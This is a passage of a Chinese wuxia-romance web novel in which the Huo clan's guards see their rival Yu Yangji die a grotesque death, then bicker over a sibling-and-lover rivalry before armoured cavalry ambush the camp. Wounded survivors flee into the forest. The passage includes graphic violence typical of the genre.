“过了这排树,已经是东炎国的地界。我已按要求将玉阳基护送出楠国,并没有砸招牌。不信你们可以去那排树上找找,应当有刻着边境线标的铜牌。”
“很好,你可以安心上路了。”
霍乾念说罢,一剑扎穿那血卫喉咙。不言上前打量其尸体,啧啧称奇道:
“杀不了目标就杀雇主?这规矩也太奇葩了。那谁还敢找他们杀人啊?不等于自杀吗?而且为什么杀人十万金,看护、守护这样护卫的活儿反而更贵?”
花绝用刀挑开那无头血卫的后衣领,只见那背上纹刻着一株血红的无义草,他道:
“你当人家傻啊?没听他说吗,咱少主是这么多年来唯一砸了他们招牌,逼得他们杀雇主的人。”
叶峮道:“十万金杀一人,八百万金才护卫。难怪玉家钱库里空了那些。话说无义血卫从来只出手一次,却几乎从无失手,可见对方武功极高,只一个最低等的血卫,便缠斗这么久。今后若再遇见,一定要多留心。”
不言宽慰地拍拍叶峮的肩,“别担心了,这天底下能拿出十万黄金的人有几个?不过是有钱有势大人物们之间的争斗。你就说我吧,我现在干了暗卫,一个月二十两银,我一年到头不吃不喝外加受伤的抚恤钱,还有堂口利,也就存不到三千两银,如果是十万两黄金的话,我差不多要不吃不喝不死地存五百年!你想想……”
不言开始围着叶峮喋喋不休,其他霍帮护卫纷纷捂着耳朵避开,开始忙着打扫场地,收拾马匹和装备。
霍乾念独自一人,不紧不慢地走向玉阳基。
第167章 体面
前朝亡,新朝兴。
玉阳基三个字,贯穿了两代王朝,玉家的银两曾占据楠国九成的钱庄。
如今世人提起玉阳基,无外乎“钱”与“色”。
比玉家财倾楠国,更出名的是玉阳基的“好龙阳”。
比玉阳基本人更有名的,是玉家独门媚药“销魂一笑”。
世人早已忘记那个三岁能打算盘、四岁能背一车账本的小神童。
也忘了那个曾因为小小药材铺缺货,为不失信于人,而独自一人背着药篓,翻越坟山数百里,磨得双脚都冒血的年轻人。
大约,连玉阳基自己都忘了吧。
此时此刻,玉阳基像只没头苍蝇一样,佝偻着裹在金袍里的身子,在林子里转来转去,就是找不到出路。
最后,他扶住一棵干枯断裂的树干坐下,疲惫地喘着气。
那树的上半部分已经腐朽折断,只剩半人高的树干还在,劈折成刀尖的样子,像是随时准备戳死一个人。
霍乾念独自走近,居高临下地睨着玉阳基。
逃了这么多天,玉阳基早已累得面无人色,但还是撑着力气,怪笑两声,对霍乾念道:
“我真可怜你。”
霍乾念冷笑,“玉老爷是人之将死其言也善吗?放心,东宫令要活捉你最好,只要你不反抗,还可以活不少日子。”
玉阳基又“嘿嘿”阴森笑起:
“我还可以活不少日子,那你呢?你说说你,干嘛非要争个楠国首富,争个第一呢?当第二才最安全,你懂吗?”
霍乾念脸色一沉,没有反驳,玉阳基便哈哈大笑起来。
“哈哈哈哈——看来你已经感觉到危险了,不错,不愧是霍震霆的儿子,果然厉害。只可惜你发现的太晚了!霍玉相争几十年,一直针锋相对,却也一直平衡制约,今日你占楠国首富,明日又是我,你我共同瓜分这天下钱财,多么好的一件事!
可你偏偏要争那什么楠国第一!现在好了,第一马上就是你的了。但你可知南璃君和她老子根本就是一路货色!我当年如何步步扶持着他南高羽筹谋、上位、征战、夺权,创立这广袤盛世楠国!
就如你如今扶持着南璃君荣登监国之位一样!待江山稳固,四海升平,你以为等着你的会是一人之下万人之上的荣光?不,等着你的只有‘狡兔死,走狗烹’!
所以我真可怜你,当个有钱又有权的楠国第二不好吗?非要上赶着往死路走。我知道你想说什么,想说我玉家藏污纳垢,勾结朝廷贪官?可你以为做皇帝的真的很喜欢你们这种正直忠臣吗?哈哈哈哈哈哈——”
玉阳基说完,从怀里掏出一个瓷瓶,将里面的粉末倒在手上,贪婪地送进嘴里。
他一把接一把地吃下,直到嘴边全是乱七八糟一片白,他直接仰头对着瓶子开始吃。
边吃,边断断续续道:
“今日我之亡……他日……你之祸……哈哈哈哈哈……”
霍乾念抬手摁住眉头,脸色阴沉片刻,随即又恢复平时的冷静。
“玉阳基,别这么轻易就将你、玉家,这些年犯下的桩桩件件轻轻揭过。你与皇帝分赃也好,与神仙阎王共谋也罢,只是别忘了蝼蚁众生,条条都是命,那死在你手上,被玉家之流糟蹋的人,这血账得还。”
比如霍阾玉当年在祠堂被侮辱的仇;荀戓、小六……死去那么多霍帮护卫的仇;还有那受尽屈辱自尽而死的掬庭护卫的仇……
桩桩件件,谁人能忘?
粉末的药效慢慢发作,玉阳基开始控制不住的浑身燥热难忍,他胡乱脱去衣袍,露出一身松垮的老人皮肤,垂到大腿上的肚腩,一身密密麻麻的老人斑。
玉阳基扭动着身躯,在树干上疯狂摩擦,直到皮肤全都出血也浑然不知。
他剧烈地喘着粗气,疯狂大笑:
“哈哈哈哈哈哈——霍乾念!你这种人!一定死得比我还快!死得比我还惨!哈哈哈哈哈哈——”
看着如同干瘪肉蛆一样蠕动的玉阳基,霍乾念忍住喉咙间的呕吐感,准备上前一剑了结对方。
可玉阳基吃下的药粉已开始彻底发作。他浑身变得通红滴血,瞪着眼睛像要吃人一般。一边疯狂嚎叫,一边大力去扯自己下身,直扯到血肉模糊。
这情景甚是骇人,叫霍乾念顿住脚步。
只这么一顿,玉阳基便癫狂大笑,口中不停嘶喊着什么“兔死狗烹”,一跃跳上那根断裂的尖树干,骑在上面疯狂涌动。
鲜血如泉涌,顺着树尖汹涌流下。
很快,玉阳基逐渐停止动作,垂下那颗乱蓬蓬的脑袋,瞪着几乎爆裂出眼眶的眼睛,慢慢停止了声息。
等其他人闻声赶过来的时候,霍乾念一把捂住云琛的眼睛,不言则在一旁咋舌道:
“这畜生这辈子祸害了那么多男人,这下终于遭报应了。只是心疼那棵树,做错了什么,竟要受这种肛顶之灾??”
花绝和叶峮齐齐捂住耳朵,一脸嫌弃地踹向不言。
其他护卫们见此,也都被玉阳基这奇特又恐怖的死状惊到了,要么骂几句脏的,要么调侃几句有的没的。
只有霍乾念没有发出任何一声玩笑。
他捂着云琛的眼睛,揽着她走远,沉声对叶峮道:
“埋了吧,给他一个体面。”
第168章 狗血修罗场
原地稍作休息后,霍帮护卫们开始在林中地势平坦处挖坑,将玉阳基和一干玉家护卫埋葬。
玉阳基死了,玉家彻底倒台。霍帮终于赢得胜利。
今后再也没有打打杀杀和流血牺牲了——除了霍乾念,几乎所有人都是这样想的。
只不过,这胜利的“结局”似乎有些过于平淡,既没有摇旗呐喊和兴高采烈,也没有大战之后的强烈兴奋。
所有人都很平静,直到看着一抔抔黄土盖在玉阳基身上,仿佛才找到一点“胜利者”的愉快。
霍乾念终于有时间停下来好好看看云琛,可惜周围人多眼杂,都盯着呢,他只能收敛语气和动作,令亲卫们站成一排。
他走到第一个的叶峮跟前。后者咧咧嘴,小声道:
“少主,我这儿您不用装了。”
霍乾念点点头,随即走到下一个的花绝面前,上下打量两眼,不咸不淡地说了句“辛苦”。
花绝往后弹跳一步,用看猴子一样的眼神上下打量霍乾念,眼睛瞪得溜圆,发出灵魂拷问:
“哥,你在林子里被什么精怪夺舍了?”
霍乾念浅浅翻了个白眼,又往不言那走。
不言早已经准备好一肚子辛苦邀功的话,结果刚张口说了俩字,霍乾念立马掠过他,站去了云琛面前。
一见云琛,霍乾念顿时感觉满天乌云尽散,什么阴霾都没有了,整个世界都是阳光灿烂的。
他甚至控制不住继续做平常那个冷颜冷语的少主,止不住就想扬唇。
他摸摸她的头,两手抱住她的肩膀,拉过她小手,上下仔仔细细看了八个来回,温柔地问:
“累吗?有没有伤到哪里?手给我看看,挥剑的时候磨痛了没有?”
接受到花绝和不言看鬼一样的惊悚眼神,云琛打了个哆嗦,浑身直冒鸡皮疙瘩。
再用眼角注意到旁边正努力和护卫们一起挖坑埋人、却时不时偷偷看过来的霍阾玉,云琛赶紧后退一步,拉开与霍乾念的距离。
她嘴上官方地说着“多谢少主关心,属下一切安好”,眼睛则使劲瞪向霍阾玉的方向,试图给霍乾念传递意思。
霍乾念顺着她的目光看过去,只见到和平常一样忙碌的护卫们,并没有什么特别的,不禁疑问地看向云琛。
她只好努力保持嘴型不动,压低声音道:
“你妹……你妹……你妹啊!”
霍乾念摸摸鼻子,仍旧不解:
“干嘛骂我?”
最后,在云琛疯狂的眼神暗示下,差点把眼睛挤抽筋,霍乾念终于注意到其中一个身形特别瘦弱、满脸黑灰的“小护卫”,并在与之对视上的瞬间,无比震惊地瞪大了眼睛。
他咬牙切齿,朝霍阾玉招手:
“你!你!对!就你!来来来!本少主有个非常重要的差事给你!过来说话!”
在所有人好奇的目光中,霍乾念黑着脸,拎鸡崽似的提住那“小护卫”的衣领子,三两步将人拖进旁边草丛。
很快,不远处传来霍乾念的高声臭骂,护卫们都好奇地伸头看去。
没办法,云琛只能硬着头皮过去劝架,这才令霍乾念克制些许,但还是压低声音发飙:
“你是不是疯了?当我们出来游山玩水?找玉阳基买胭脂??你知不知道一路多危险??有多少要命的时候,谁能顾得上你?!”
霍阾玉被骂得眼泪哗哗,却还是梗着脖子犟道:“我人已经在这了!随便你怎么说!”然后躲到云琛背后,示威似的冲着霍乾念:
“用不着你管!云琛会保护我的!”
这句话差点给霍乾念噎死,气得他立马冲过去要抓霍阾玉,云琛赶忙上前阻拦,好声安慰:
“算了,回固英城再说吧,这里荒郊野外的,兄弟们都在跟前听着呢,别暴露二小姐在这,对二小姐名声无益。”
谁知云琛说完,这兄妹俩竟异口同声说了句“名声算个屁!”而后又隔着她吵起来。
霍阾玉一向怕霍乾念,从不敢违抗她这个哥哥。
如今也不知怎么的,是不是为爱情冲昏了头脑,霍乾念说一句,她便顶一句,气得霍乾念脑门子嗡嗡的。
“看我回头不拿家法治你!”
“有本事你打死我!不然我就要跟着你们!”
“就算我不收拾你!也叫爹收拾你!等回京都你等着!”
“现在杀人我都见过了!我还怕家法?哼!”
“挺厉害啊女英雄!要不要给你颁个奖??”
云琛站在争吵不停的兄妹俩中间,无奈地仰头望苍天:
这到底是什么狗血修罗场啊!
……
……
埋葬完玉阳基,霍帮众人开始折返,往固英城方向而去。
来时已开辟出比较通畅的道路,再加上没有什么要紧事务在眼前,回程便不紧不慢,入夜便休整。
因为霍阾玉的关系,霍乾念只得将人马分成三拨。
第一拨由叶峮和花绝带人在前方探路,第二拨是霍乾念和云琛护着霍阾玉,剩下的护卫们则由不言带领,作为第三拨殿后。
三拨人马分隔得不远,能看见彼此身形,但听不见声音。
云琛严重怀疑这是霍乾念为方便骂霍阾玉而做的安排。
一路上,云琛左边是霍乾念,右边是霍阾玉。
她无论往左看还是往右看,都能收到一个“含情脉脉”外加“你放心我嘴严,肯定好好保守秘密”的坚定眼神,二人还要时不时隔着她,幼稚地隔空打架吵两句。
尤其霍阾玉没有上妆,看着与霍乾念十分相像,左右都是相同的脸,云琛简直要神经错乱了,感觉这辈子都没经历过这么割裂的场面。
为了照顾霍阾玉的身子,见前方有小溪,时间又到傍晚,霍乾念下令就地扎帐,过完夜再赶路。
大概是仗着在这么多人面前,霍乾念不敢拿自己怎么样,霍阾玉还挺来劲,翻霍乾念一眼,并不领情被照顾。
感觉这兄妹俩一个都惹不起,云琛积极和叶峮跑去打猎,好好喘了口气才回来。
她和叶峮将打好的猎物分给护卫们,自己则卸下一条鹿腿,准备给那兄妹俩做晚餐。
霍阾玉如今就像云琛的小尾巴,云琛走到哪里,她便走到哪里。无论云琛在干什么,她都在一旁看着。
见云琛大摇大摆地扛着条鹿腿回来,霍阾玉笑得脸蛋红扑扑的,甚至双手合十,捧场地为云琛鼓掌。
云琛拿着一柄小刀,抱着鹿腿,在溪水边剥皮、清洗,霍阾玉也小鸟一样欢快地跟上去。
只不过,看着那血水在溪水中缓缓晕开,原本还兴高采烈的霍阾玉突然脸色苍白,跑到一旁干呕起来。
云琛知道,霍阾玉从没见过杀人。
对于一个深闺长大的女子来说,大约一辈子都不会见到死人。
可这趟追杀玉阳基的路上,霍阾玉见了太多血腥,已远超她心理承受。
云琛停下动作,有些心疼地望向霍阾玉,忽而感觉手中的刀被拿走——霍乾念拿过鹿腿,颇为生疏地开始忙活,对她道:
“这里我来,你去照顾阾玉吧。”
“好。”云琛立刻清洗双手,快步朝还在干呕的霍阾玉走去,看都没看霍乾念一眼,气得他三两下就将鹿腿切成了千层片。
云琛拿来清水给霍阾玉漱口,轻拍她的后背。
感觉舒服些了,霍阾玉歉疚地看着云琛:
“对不起,我总是给你们拖后腿。”
既已被知晓女子身份,云琛便不再刻意地装男子做派,她安慰地笑笑,像姐姐照顾妹妹一样,替霍阾玉整理额前的头发,道:
“无妨,生死护主,卫道清明。照顾人、保护人,都是我们这些护卫最基本的责任。二小姐,其实少主也是因为担心你才会发火,并不是觉得你耽误事,他真的很在意你的安危。”
霍阾玉有些不好意思地低下头,“我知道......”
话说到这里已足够,云琛从来不是个喜欢说教的人,见霍阾玉表面犟得很,其实心里很明白,她便放下心。
只是霍阾玉看起来还是闷闷不乐,云琛想哄哄她,便拿了几根狗尾巴草、几朵地梅花,一阵手指飞舞,飞快地编出一顶花环。
霍阾玉将花环戴在头上,开心得跟什么似的,不停地对着溪水照看。
云琛得空看向霍乾念,后者正拉长了脸,试图将鹿肉片剁成肉丝。
将霍阾玉哄得开心了,也不管霍乾念脸多冷,云琛手脚麻利地架起火堆,开始烤鹿肉丝。
烤好后,云琛刚将最嫩的一部分肉取下来,立马就有两双手齐齐伸过来。
往上看去,两张极其相似的脸庞,两双同样巴巴的眼睛。
兄妹俩像极了两只嗷嗷待哺的小猫。
第169章 火球
面对两只嗷嗷待哺的“小猫”,云琛犹豫了一下,将鹿肉丝放在霍阾玉手中。
霍阾玉得意挑眉,霍乾念则气鼓鼓地站起身,头也不回地走远,一屁股坐在石头上,开始闷闷地啃干饼子。
云琛看着好笑,但她和霍乾念已私下说定,得等回固英城之后,再将二人情意之事告诉霍阾玉。
如果现在就说的话,这里荒山野岭,万一霍阾玉赌气跑了,实在危险。
因此,云琛只得在霍阾玉面前装成一个忠心亲卫的模样,对霍乾念一切眼神都视而不见,甚至还时不时一个眼神刀过去,示意霍乾念收敛点。
对于霍乾念这“吃醋”,云琛只能装作看不见,倒是霍阾玉瞧着奇怪,对云琛耳语:
“我哥腿已经好了,怎么脾气还这么大?平时伺候我哥辛苦吧,回头你调去给我当护卫吧,有我罩着,让你天天摸鱼都行。但是你这么能干,我哥大约是不肯的。”
云琛小声道:“没事,你是霍两岁,他是霍三岁,我已经习惯了。”
“哈哈哈......”霍阾玉笑出声。
霍乾念闻声看过来的时候,正见霍阾玉和云琛靠在一起,两个少女笑得花一样灿烂,霎为养眼。
“唉!”他无奈地叹气,自己也觉得自己十分可笑,可就是忍不住又酸又气。
无处发泄,霍乾念只能将屠狼驹拽到溪边,一顿狠狠刷洗。
下游正刷碗的不言不满地叫道:
“少主!等会儿再刷马!等我们吃完饭先!”
好不容易等霍乾念撒完气,到了夜里,堪称魔鬼的一幕出现了。
帐篷里,云琛睡中间,兄妹二人一左一右夹着她,要么是霍乾念一会儿偷偷牵她的手,要么是霍阾玉一会儿偷偷靠她的肩。
云琛浑身直冒鸡皮疙瘩,最后实在受不了了,她一脚踹翻被子,哀嚎着冲出了帐篷。
“非要这么折磨我吗?我上辈子挖你们霍家祖坟了?!”
兄妹二人赶忙追出来,都一副可怜又无辜的样子望着她,活脱脱两只被抛弃的小奶狗。
这一番折腾后,三个人都毫无睡意,坐在篝火旁大眼瞪小眼,氛围颇为尴尬。
云琛郁闷地托着腮帮子,面前篝火燃烧得旺盛又明亮,好似幸灾乐祸一般扭着腰,映照出她愁云惨淡的脸。
她看得不爽,拿棍子使劲捅火堆,三两下将火捅灭,这下气氛更冷了。
黑暗中,她幽幽一声长叹,心说要是现在有酒就好了,喝着喝着,气氛就自在了。
再喝着喝着,随便哪个醉倒,都能天下太平了。
猜到云琛心里在想什么,霍乾念站起身,拍拍裤子,好笑又无奈地说句“我走,行了吧?”,然后朝护卫营地走,准备和叶峮过夜去。
走出去两步,霍乾念又回头看向云琛。
黑暗中,只见她的面庞倏然耀眼发亮,表情突然变得无比惊恐。
一颗硕大的火球无声无息地飞来,直直朝着霍乾念而去。
在霍阾玉的视线里,只见云琛没有任何犹疑,不顾一切地扑了上去。
“轰——”,火球重重擦过云琛后脑勺,砸在霍乾念的额头上。
紧接着,无数火球乍现夜空,接连爆开,炸得周围树木全部烧起来。
霍帮护卫们压根没想到在剿灭玉家之后还会遇袭,纷纷从睡梦中惊醒,睁眼只见火光冲天,护卫们到处死伤一片,马匹受惊嘶鸣。
熊熊燃烧的烈火之中,只见一匹戴着狰狞面具的黑马飞腾半空。
一身穿黑鳞铠甲、手持黑色长枪的骑兵赫然于上,气势森然,宛如索命修罗。
接着,数不清的骑兵如幽灵一般,从四面八方冒了出来。
同样的黑马、黑鳞铠甲,同样锋利带血的长枪。
霍帮护卫们被打得措手不及,更从未与这样正规军装备的骑兵交手过,几乎刚一碰面,便被长枪扎穿身体,眨眼倒下一大片。
“保护少主!!!”一个霍帮护卫高声大喊,却立刻被一枪扎倒,黑色的马蹄从面上狠狠踏过,瞬间眼珠爆裂,没了声息。
护卫营地彻底乱作一团,火影重重之中,根本分不清敌人从哪个方向杀来。
叶峮一边寻找霍乾念,一边高呼呐喊,招呼众人集结列阵。
不言身上的衣服都快烧着了,但他根本顾不得灭火,猛地轻功飞冲,跳上一个黑鳞骑兵的后背,动作熟练地展开银丝,试图用那做过无数次的动作割取其头颅。
岂料银丝竟卡在骑兵的黑鳞铠甲上,根本寻不到其脖颈弱点,反被锋利如刀的鳞片划得满手是血。
那黑鳞骑兵立即反手一枪,扎穿不言的大腿。
另一边,花绝找到已被火弹重伤昏迷的霍乾念和云琛。
他背起霍乾念,对一旁愣着的“小护卫”大吼:
“快背上云琛跑啊!快啊!”
霍阾玉早已被眼前突如其来的一幕吓呆了,愣愣地抬头看着花绝。
花绝震惊,失声惊叫:“阾玉??”
顾不得多言,花绝急道:“云琛很瘦!你能不能背动他??”
霍阾玉脸色苍白,忍着恐惧和颤抖,使劲点头,也学着花绝的样子,将云琛抗在背上。
二人朝火光之外的树林逃去,却立刻被一匹高大的黑马拦住去路。
顺着凶烈的黑马向上看去,一个面目阴狠、穿着首领铠甲服制的男人嘲弄开口:
“久闻霍少主大名,今日,我特来送你——投胎!”
说罢,那首领男人狠狠挥枪,花绝全力以刀抵挡,却被一枪压在肩头,直接跪了下来,肩头顿时血流如注。
花绝面上不露怯,只对霍阾玉大喊“快跑”,心中却惊骇对方实力不可小觑,这长枪如此沉重,对方却挥若鸿羽,持之无物一般。
因为刚才挡枪头时用力过猛,霍乾念已从花绝背上滑了下去。
那首领男人却看都不看地上人一眼,只又一枪扎向花绝,阴笑道:
“听闻霍少主武功盖世,如今看来也不过如此嘛!”
看来对方认错人了。花绝心中飞快盘算,立刻转身引着那首领男人往另一个方向逃去,试图将其引离霍乾念。
谁知另一个骑兵又杀了过来,遇人便刺,逢人便杀,就连地上的尸体都要挨个戳过。
花绝大惊,只得又重新去背霍乾念,却不防被那首领男人一枪扎穿肩膀,踉跄扑地,半天都站不起来。
那首领男人故作迷茫状:“你俩到底谁是霍乾念?算了,去让阎王爷分辨吧!”
说罢,那首领男人立刻挥动长枪,再次杀向花绝,边杀,边脸上诡异大笑,仿佛嗜血恶狼逗弄着孱弱的兔子,全是恶毒的趣味。
花绝被打得连连后退,毫无招架之力,身上接连被戳出七八个窟窿,几次被打倒,又几次挣扎着爬起。
但这股不屈韧劲,反倒叫那首领男人却越打越兴奋。
他发出猎人那般尖锐的嚎叫声,高举长枪,在空中挽了一道锐利的连环飞花,狠狠一枪刺向花绝喉咙。
千钧一发之际,叶峮飞跃上马头,迎着那首领男人的枪头猛地冲上去,将其摔抱下马。
花绝立刻背着霍乾念逃入深林,身影消失在黑夜之中。
第170章 美人鱼
花绝浑身是血,背着昏迷不醒的霍乾念。
霍阾玉背着半个后背都被烧伤、同样昏迷的云琛。
二人在黑夜里一路狂奔,完全不知前路和方向,只知道黑鳞骑兵的火把和马蹄声一直追着他们,叫他们根本不敢停下。
就这么跑啊跑,树枝挂散了霍阾玉的头发,荆棘将她的脚扎得全是血口子。
不知过了多久,直到黑鳞骑兵的马蹄声越来越远,四周重新陷入宁静,黎明的光线升起,一处浅滩出现在眼前,二人才终于敢停下来休整。
花绝累得站不起来,弯腰趴跪在地上,不停地喘息、咳嗽,将嘴里的血吐掉。
他将霍乾念放在地上,查看伤势,发现霍乾念额头上血糊一片,被火球砸中的地方还在冒血。
霍阾玉也学着花绝的样子查看云琛身上的伤,不看不要紧,一看,她直接惊叫出声:
“霍宸!你看看云琛!你快来看看她!”
花绝赶紧跑过来捂住霍阾玉的嘴,紧张地侧耳去听。
听了好一会儿,并没有听见黑鳞骑兵追过来的声音,花绝才放开手,赶忙查看云琛,顿时心中一沉。
云琛双目紧闭,头发散乱,看不清伤口在哪里,只能看到头发被血凝结成厚厚一大块。
她半个后背到脖子已全被烧烂,衣服、血肉、枝叶碎屑、泥土......统统烂糊在她身上,叫人根本没法将她平放在地上。
见状,花绝只得叫霍阾玉盘腿而坐,将云琛的上半身趴放在她腿上。
霍阾玉小心翼翼地抱住云琛,手摸到云琛后脑勺黏黏糊糊的全是血,一块不知道是什么的东西裹在她头发下面,摸起来是可以动的。
不敢贸然取下那“东西”,霍阾玉轻轻拨开云琛的头发去看,登时脸色变得惨白。
那是一片薄薄的头骨碎片。
当裹满火油的火球石块飞来时,云琛扑上去,替霍乾念阻挡了大部分重击力道,她自己却被直接砸中头骨。
霍阾玉强忍着不尖叫,可还是慌乱得不知所措,不停地自言自语着“怎么办怎么办”。
花绝扶住霍阾玉的肩膀,温声安慰:
“别怕,阿琛不会有事的。比这更重的伤他都受过,这点不算什么。阾玉,帮我一个忙,在阿琛醒过来之前,我把他交给你了,你要照顾好他,好吗?”
霍阾玉重重地点头,神色渐渐变得郑重,一种说不上是情感还是责任的东西,在她心里悄悄升起。
她胡乱扎好自己的头发,深吸一口气,开始认真仔细地为云琛清理伤口。
花绝将外衣撕成条,简单为自己包扎了一下,而后一瘸一拐地走向浅滩,摸索片刻,抓了五六条手指长的小银鱼回来。
他将鱼洗干净,揪掉鱼头,递给霍阾玉。
“吃吧,吃了才有力气走出去。生火容易吸引敌人,只能吃生的了。”
似乎为了给霍阾玉展示吃法,花绝拿起一条银鱼,仰头一口吞下,连嚼都没有嚼。
这一幕给霍阾玉看得直冒鸡皮疙瘩。
她嫌弃地打量手里散发着鱼腥味的鱼,再看看云琛惨不忍睹的后背,忍不住干呕起来。
等霍阾玉吐完,花绝故意作出轻松的语气:
“我猜你不认识这种鱼,这个叫拇指美人鱼。”
霍阾玉瞧了眼银鱼,气息仍旧不太平稳地问:
“看起来普普通通的,没有美人的样子。”
花绝道:“这鱼不是长得像美人,而是骨肉可以入药,令女子皮肤光滑白皙,容颜红润,所以叫这个名字。你若吃了,至少比同龄女子年轻貌美好几倍!”
霍阾玉一脸不信,但看花绝信誓旦旦的样子,不像是诓她,她觉得手里的鱼好像也没那么恶心了,便眼睛一闭,心一横,一口将鱼吞了下去。
花绝露出个顽皮坏笑:“果然啊,任何时候用‘美容养颜’来骗女人,都是很有用的。”
霍阾玉这才知道被骗了,气得拿小石头砸花绝。但两条小鱼吃下去,虽然不饱,却好像又有了些力气。
“霍宸,我们能活着出去吗?”霍阾玉望着沉沉昏迷的云琛,低声问道。
“当然能,从前比这更吓人的刺杀我们都遇到过,不都好好地活下来了?眼前这点算什么!”花绝脸上没有丝毫担忧,接着道:
“固英城里还有少主可调动的三千步兵呢,看到这边起了林火,必然要来救的。我估摸最多再走一天,咱们就能出去了。话说我好歹是你堂哥,你竟敢直呼我的名字?”
听了花绝的话,霍阾玉明显振奋了些,她小小地翻个白眼:
“我可没有你这个哭包堂哥,从小就爱哭,估计现在也一样吧?”
花绝哈哈笑起来,说了句“我去撒个尿”,而后钻进林子。
霍阾玉皱眉,堵住耳朵,不满地叫道:
“霍宸!你做了护卫,人都糙了!一点世家公子的样子都没啦!”
花绝已走到霍阾玉看不见的地方,他脸上的笑容慢慢退下,忍着疼痛掀开腹部的绑带,打量起这道最深的要命伤。
第171章 山神娘娘
一路过来,神经高度紧张戒备时,花绝倒不觉得什么,这会休息下来,他开始觉得腹痛难忍。
和霍阾玉说话那会儿,他就感觉头晕目眩的,后背一阵一阵地冒冷汗,硬是强撑着没有倒下。
他轻轻摁住腹部瞧了瞧,伤口是那首领男人用枪头横拉出的一道深口子,正汩汩往外冒着血。
如果再往前几寸,他很可能会像剖鱼肚子似的,整个人被拦腰截断。
他将手里已被血浸透的布条折起来,用力拧了拧,然后抖干血珠子,重新系在伤口上。
做完这个无比简单的动作,他脱力地靠着树坐下,一种前所未有的“要命”的感觉袭上心头,令他发慌。
做霍帮护卫以来,他们从来没有遇到过这么恐怖的袭击——
或者,准确点来说,是屠杀。
正规军的铠甲装备和马匹,阴狠的枪法招式,虽不知敌方是谁,但霍帮根本不是对手。
他仔细回忆昨夜的杀斗:
霍帮护卫近二百人,人人都在拼命,却毫无招架之力,几乎被杀光。
而对方黑鳞骑兵仅有五十人,竟无一人伤亡。
且一场闪电般的袭击,从发起进攻到结束,连一刻钟都没有,迅猛到令人发指,足见其实力强悍。
所以,花绝方才那些什么会有救援来的说辞,不过是用来安慰霍阾玉的。
他环顾四周,冷灰色的晨光撒在层层密密的树叶上,显得分外逼仄。
到处都是一样的景色,一样的不见天日,不知道何年何月才能走出去。
不言和叶峮还活着的希望很渺茫,霍乾念和云琛身上都有重击和烧伤,如果不及时医治,只怕熬不了多久。
至于他自己,很有可能会死在霍乾念和云琛的前头。
唯剩霍阾玉身上没什么伤,可她不会武功,根本不懂如何在荒山野岭生存,大概也捱不过几天。
形势不容乐观,却也绝对不容放弃。
花绝反复深呼吸,扶着树慢慢站起来,重新做出一副轻松的表情,走回霍阾玉身边,和她一起,重新背起霍乾念和云琛。
花绝选定一个方向,开始艰难地在前面开路。
他身上有伤,再加上树林茂密难行,走得并不快,但每走出去一段,就要停下来等等霍阾玉。
霍阾玉背着云琛跟在后面,她个子不及云琛高,背着云琛时,云琛的脚都拖在地上。
即使这样,她还是背得辛苦,两条腿都在不住地打颤。
对于一个这辈子连桶水都没提过的大小姐来说,背着一个成年人在林中行路,实在艰难至极。
霍阾玉咬着牙,一步腿一抖,却一步都没有停下。
额头上的汗落进眼睛,蛰得她眼睛又疼又痒,她却腾不出手去擦。
回头看看霍阾玉全力咬牙坚持的样子,花绝心里不忍,说道:
“等回到固英城,我要美美地吃一顿牛肉锅子,喝一坛上好的乌梅酿。你也可以睡上三天三夜,起来便沐浴、梳妆,再找两个小侍女来伺候着。”
这话明显有点鼓励的作用,霍阾玉用力点头,气喘吁吁地问:
“那大概还要多久能出去?”
“快了。”花绝说:“运气好的话,可以碰见常住深山的猎户,那不用等到固英城,便能好好吃喝休整一番。猎户打猎常常受伤,都存着创伤药,少主和阿琛也能得到医治了。”
“嗯!那我们抓紧赶路吧!”
“记着啊,心里一定得想点吉利的,嘴上也得说吉利的。山中有山神的,听见你说什么,便叫你实现什么。”
“霍宸,我已经不是小孩子了,谢谢。”
“不信?那等阿琛醒来你问问他,我们这些年在外面办差,碰到的稀奇古怪的事还少吗?你问问他有没有山神,看他怎么说。”
“好吧,那就......请山神保佑我们先找到一户猎户,能为哥哥和云琛治伤,然后再平平安安回到固英城。对了,也请山神保佑其他护卫们都平安归来。”
正往前走的花绝沉默了片刻,笑道:
“山神肯定听见了,一听这姑娘这么善良,不仅实现你的愿望,说不定还瞧上你做山神娘娘呢!”
“呸呸呸!我才不要嫁给山神!”
花绝坏笑:“我知道,你想嫁给云琛呗!”
霍阾玉大窘,差点忘了背上还背着云琛,冲过去就要打花绝。
二人一路打着嘴巴仗,你追我赶,一时间,倒不觉得难熬了。
不知过了多久,很快,二人打闹的劲儿用完,连说话都没力气了,开始沉默着赶路。
走着走着,前面的花绝突然一头栽倒在地上,没了声音。
“霍宸!”霍阾玉急忙想上前查看,可云琛还在她背上,她刚想找地方将云琛放下,却听不远处传来一声马的轻啼。
那声音很小,却让霍阾玉的神经瞬间紧绷,整个人僵在原地。
“霍宸,你醒一醒……”霍阾玉小声地叫。
花绝晕死在地上,一动不动,他背上是仍旧昏迷的霍乾念,身下是缓缓渗透泥土的血。
见花绝毫无任何反应,霍阾玉急得想哭,甚至在心里骗自己说,方才那声音只是她的幻觉而已。
可很快,马蹄声清晰地响起,越来越靠近,彻底打碎了霍阾玉的“幻觉”。
她甩下云琛,恐惧地蹲在地上,将身子缩成一团,抱着头往树丛里钻,仿佛这样就安全了。
可心里又想起花绝的话,眼下不光是将云琛交给她,还有霍乾念和霍宸。
三个人的命,都靠她霍阾玉了。
想到这里,霍阾玉忍住哭意,强迫自己从树丛里爬出来。
对着地上三个人,她一阵慌乱,不知道该先救哪一个。
犹豫片刻,她率先将云琛背起来,轻轻藏进一片高深的草丛,接着又去背霍乾念。
男人比女人要重许多,她背云琛都费尽了力气,更不要说这三人里,霍乾念身形最高大,分量最重。
她只好将背改为“拖”,一点点将霍乾念拖进草丛。
随着马蹄声越来越近,她开始越来越紧张,已经恐惧到脑袋发懵。
她不顾一切地再去拖花绝,几乎使出吃奶的劲,却怎么都拖不动,
实在是方才拖动霍乾念时,耗费了她太多力气。
然而马蹄声已离得极近,近到她可以清楚地听见马蹄踩断树枝的声音。
她感觉自己快要疯了,想尖叫却不能,想哭喊也不能。
她好想找个人帮帮她,她好想放弃。
硬生生强忍心中绝望,她拽住花绝的胳膊,用尽毕生力气去拽。
一点,又一点。
等她终于将花绝拖进草丛的时候,她已能穿过茂密的树木枝桠,隐约看见高高坐在马上的黑鳞骑兵,那铠甲泛着黑色的冷光。
她赶忙用树枝将地上的拖动痕迹扫掉,胡乱撒上落叶,然后快速跳进草丛,整个人猫成一团,一动也不敢动。
这时,马蹄声已近在咫尺,四五个黑鳞骑兵骑着黑马,彻底出现在霍阾玉的视线。
